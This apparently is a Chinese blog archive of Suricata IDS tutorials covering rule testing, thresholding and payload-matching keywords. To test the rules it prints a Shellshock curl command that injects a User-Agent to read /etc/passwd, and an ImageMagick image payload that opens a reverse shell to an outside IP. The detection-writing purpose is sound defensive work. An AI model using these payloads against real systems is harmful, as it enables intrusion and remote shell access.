标签归档:IDS

【suricata】规则测试

规则测试
添加一条规则
alert icmp any any -> any any (msg:"icmp"; sid:1;)
PS:注意最后一定要有; 不然规则不生效
6/14-18:03:36.748615  [**] [1:1:0] snort general alert [**] [Classification ID: 0] [Priority ID: 3] {ICMP} 172.16.100.1 -> 172.16.100.160
INFO: Current event with event_id [13] Event Second:Microsecond [1465898616:748615] and signature id of [1] was logged with a revision of [0]
      Make sure you verify your triggering  rule body so it include the snort keyword "rev:xxx;" Where xxx is greater than 0 
>>>>>>The event has not been logged to the database<<<<<<
修改规则
alert icmp any any -> any any (msg:"icmp"; sid:1000000;rev:1;)
杀死进程,重启
就可以了,必须加上修订版本rev。
06/14-19:01:56.924150  [**] [1:1000000:1] Snort Alert [1:1000000:1] [**] [Classification ID: 0] [Priority ID: 3] {ICMP} 172.16.100.160 -> 172.16.100.1
06/14-19:01:57.927259  [**] [1:1000000:1] Snort Alert [1:1000000:1] [**] [Classification ID: 0] [Priority ID: 3] {ICMP} 172.16.100.1 -> 172.16.100.160
但是发现msg信息并没有显示出来,规则中的msg仅仅起到标示作用,告警msg需要在sid-msg.map中对应查找。我们修改一下/etc/suricata/rules/sid-msg.map,加入一条1000000 || icmp,然后重启barnyard2。

举例:
1)BASH漏洞

curl -A '() { :; }; /bin/cat /etc/passwd' http://172.16.100.160:3000/cgi-bin/poc.cgi
检测的关键字为() {
这里我们用16进制写
添加一条规则:
alert http any any -> any any (msg:"Bash RCE";flow:established,to_server; content:"|28 29 20 7b|"; http_header; classtype:BashRCE; sid:1000002; rev:1;)

2)ImageMagick漏洞
上传图片的内容为:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/106.187.4.9/2345 0>&1")'
pop graphic-context
然后我们新建一条规则:
alert http any any -> any any (msg:"ImageMagick RCE";flow:established,to_server; content:"url(https|3A|//"; http_client_body; classtype:vinc; sid:1000002; rev:1;)
 

【suricata】Rule Thresholding

threshold
规则的写法如下:
threshold: type <threshold|limit|both>, track <by_src|by_dst>, count <N>, seconds <T>
threshold是为了避免产生过多的告警,有三种模式:
1)threshold
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robots.txt access"; flow:to_server, established; uricontent:"/robots.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; threshold: type threshold, track by_dst, count 10 , seconds 60 ; sid:1852; rev:1;)
60S内每10次则记录一条日志,如果60S内产生少于10次则不记录。一旦记录了一条日志后,进入下一个60S周期。
2)limit
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robots.txt access"; flow:to_server, established; uricontent:"/robots.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; threshold: type limit, track by_src, count 1 , seconds 60 ; sid:1852; rev:1;)
60S内最多产生1次告警。
3)both
是threshold和limit的结合。
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robots.txt access"; flow:to_server, established; uricontent:"/robots.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; threshold: type both , track by_dst, count 10 , seconds 60 ; sid:1852; rev:1;)
60S内最多记录一条日志,前提是触发了10次规则。

detection_filter
detection_filter是一个新的规则选项,用于替换threshold,detect_filter关键字可用于在达到阈值后对每个匹配发出警报,与type threshold不同的是,如果阈值达到后type threshold会产生一条告警,然会重置计数器并进入下一个周期,如果达到阈值后会继续告警。
规则的写法如下:
detection_filter: track <by_src|by_dst>, count <N>, seconds <T>
drop tcp 10.1.2.100 any > 10.1.1.100 22 ( \ msg:”SSH Brute Force Attempt”; flow:established,to_server; \ content:”SSH”; nocase; offset:0; depth:4; \ detection_filter: track by_src, count 30, seconds 60; \ sid:1000001; rev:1;)
在60S的周期内,前30次触发不会产生告警,以后每次触发都会产生告警。

【suricata】Payload keywords

content
content关键字在suricata规则中非常重要,大部分规则都要使用这个关键字来匹配数据包中的内容,content中的内容是按字节匹配的,能匹配ASCII码从0-255的字节,可打印字符比如a-z可以直接写,而某些特殊符号或是不可打印的字符则需要使用十六进制来表示。
例如添加一条规则:
alert http any any -> any any (msg:"Http Get Found"; content:"GET";classtype:vinc; sid:1000001; rev:1;)
然后访问snorby页面,告警信息如下:
06/15-00:22:37.461697  [**] [1:1000001:1] Http Get [**] [Classification: vinc test!] [Priority: 1] {TCP} 63.147.242.144:80 -> 172.16.100.160:49876

例如:
alert http any any -> any any (msg:"Http Get Found"; content:"GET";nocase;content:"123";nocase; classtype:vinc; sid:1000001; rev:1;)
此时直接访问http://172.16.100.160:3000/dashboard不会产生告警。
而访问http://172.16.100.160:3000/dashboard?123会产生告警。
注:添加多个content,是与的关系。
以下符号不能在content中出现,需要使用对应的16进制。
"   |22|
;    |3B|
:    |3A|
|    |7C|
如果需要匹配http://,那么需要写成content: “http|3A|//”;
如果一条规则前面有一个“!”。那么那些不包含这些内容的数据包将触发报警。

Nocase
在content字段后加上nocase表示content中的内容不区分大小写。
depth
表示从payload开始多少个字节与content中的内容进行匹配
offset
offset是从payload开头先偏移指定字节再对content进行匹配
distance
distance表示从上一个content匹配的末尾偏移指定数量字符再进行本次的content匹配。
within
表示从上一个content匹配位置之后的指定字节内对当前的content进行匹配,within的值不能为0。
isdataat
isdataat关键字是用来判断指定偏移处的字符是否是数据。
dsize
dsize是用来检测数据包中的payload长度是否在符合要求的范围内,这样可以有效的组织一些缓冲区溢出的攻击。
replace
replace关键字是用来替换匹配到的content中的字符
pcre
允许用户使用与PERL语言相兼容的正则表达式。我们来加一条测试一下:
alert http any any -> any any (msg:"Http Get Found"; pcre:"/123/si"; classtype:vinc; sid:1000001; rev:1;)
其中/s表示圆点元字符(.)匹配所有的字符,包括换行符
/i表示忽略大小写
fast_pattern
suricata对只有一个content关键字的规则使用多模匹配,而对于多个content的规则就对最长对复杂的一个进行多模匹配,而fast_pattern则可以改变这个状况,如果在较短较简单的content字段后加上fast_pattern关键字则会优先匹配这个content,有时这种方法可以有效提升效率。
Flow
这个选项要和TCP流重建联合使用。它允许规则只应用到流量流的某个方向上。这将允许规则只应用到客户端或者服务器端。这将能把内网客户端流览web页面的数据包和内网服务器所发送的数据包区分开来。
选项:
to_client 触发服务器上从A到B的响应。
to_server 触发客户端上从A到B的请求。
from_client 触发客户端上从A到B的请求。
from_server触发服务器上从A到B的响应。
established 只触发已经建立的TCP连接。
stateless 不管流处理器的状态都触发(这对处理那些能引起机器崩溃的数据包很有用。
no_stream 不在重建的流数据包上触发(对dsize 和 stream4 有用。
only_stream 只在重建的流数据包上触发。
PS:这里需要注意客户端和服务端、请求与响应。
修改规则如下:
alert http any any -> any any (msg:"Http Get Found";flow:established,to_server; content:"123"; http_client_body; classtype:vinc; sid:1000001; rev:1;)